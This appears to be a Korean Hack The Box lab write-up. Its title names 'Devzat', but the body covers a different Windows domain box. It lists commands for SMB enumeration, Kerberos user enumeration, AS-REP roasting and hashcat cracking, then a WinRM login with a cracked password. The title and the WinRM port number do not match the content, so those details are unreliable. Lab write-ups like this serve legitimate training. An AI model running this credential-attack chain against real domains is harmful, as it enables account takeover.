HTB-Devzat Write up
golang, git-dumper
SMB 139,445 port 스캔을 해보았지만 별다른 정보를 획득하지 못함
crackmapexec smb 10.10.10.175
crackmapexec smb 10.10.10.175 --shares -u ''
smbmap -H 10.10.10.175
웹 페이지를 탐색해보았지만 도메인 이름 외에 별 다른 정보를 획득하지 못함
사용자 이메일 또는 정보를 얻기 위해 About us 페이지를 들어갔을떄 다른 페이지에서는 해당 이름이 client로 되었었지만 About us에서는 이름들이 적혀져있는것을 확인
이 부분에서 며칠동안 막혀서 Write up을 보니까 영어식이름...을 사용하였다...
Username Anarchy를 사용하여 영어식 이름으로 변경
./username-anarchy --input-file fullnames.txt --select-format first,flast,first.last,firstl > unames.txt
88port kerberos 가 열려있는것을 확인했기에
kerbrute를 사용하여 계정이 있는지 확인
./kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL users.txt
사용자 이름 목록을 통해 Kerberos 사전 인증이 비활성화 되어있는지 확인할 수 있음.
Kerberos 사전인증 = 암호추측 공격으로부터 보호하는 보안 기능
DomainController의 Key Distribution Center(KDC)는 인증 서비스 요청(AS-REQ)을 확인하고 사용자 정보를 확인하고 암호화된 TGT(Ticket Granting Ticket)를 반환합니다. TGT에는 해당 계정의 NTLM 해시로 암호화된 자료(타임스탬프)가 포함되어 있습니다. 이것에서 해시를 파생할 수 있으며 일반 텍스트 암호를 공개하기 위해 오프라인 무차별 대입 공격을 받을 수 있습니다. Imppacket의 GetNPUser를 사용하여 사전 인증이 필요하지 않은 사용자 계정에서 해시를 추출하기 위해 ASREEPRoasting 공격을 시도할 수 있습니다
- 출처 : kerberos namu wiki
fsmith 계정이 있는것을 확인하였으니 GetNPUsers.py를 사용하여 해쉬 추출
python3 GetNPUsers.py EGOTISTICAL-BANK.LOCAL/fsmith
hashcat을 사용하여 asrep의 mode번호가 18200인것을 확인하여 복호화 시도
hashcat --example-hashes
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --force
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --force --show
계정과 패스워드를 알았으니 smbscan이 가능
공유폴더에서 ricohe 폴더를 발견했는데 검색해보니 후에 권한상승에 사용할 수 있어보임
nmap 에서 5989 winrm 포트가 열려있는것을 알고 계정과 패스워드를 알고있으니
evil-winrm을 사용하여 쉘 접근이 가능
evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23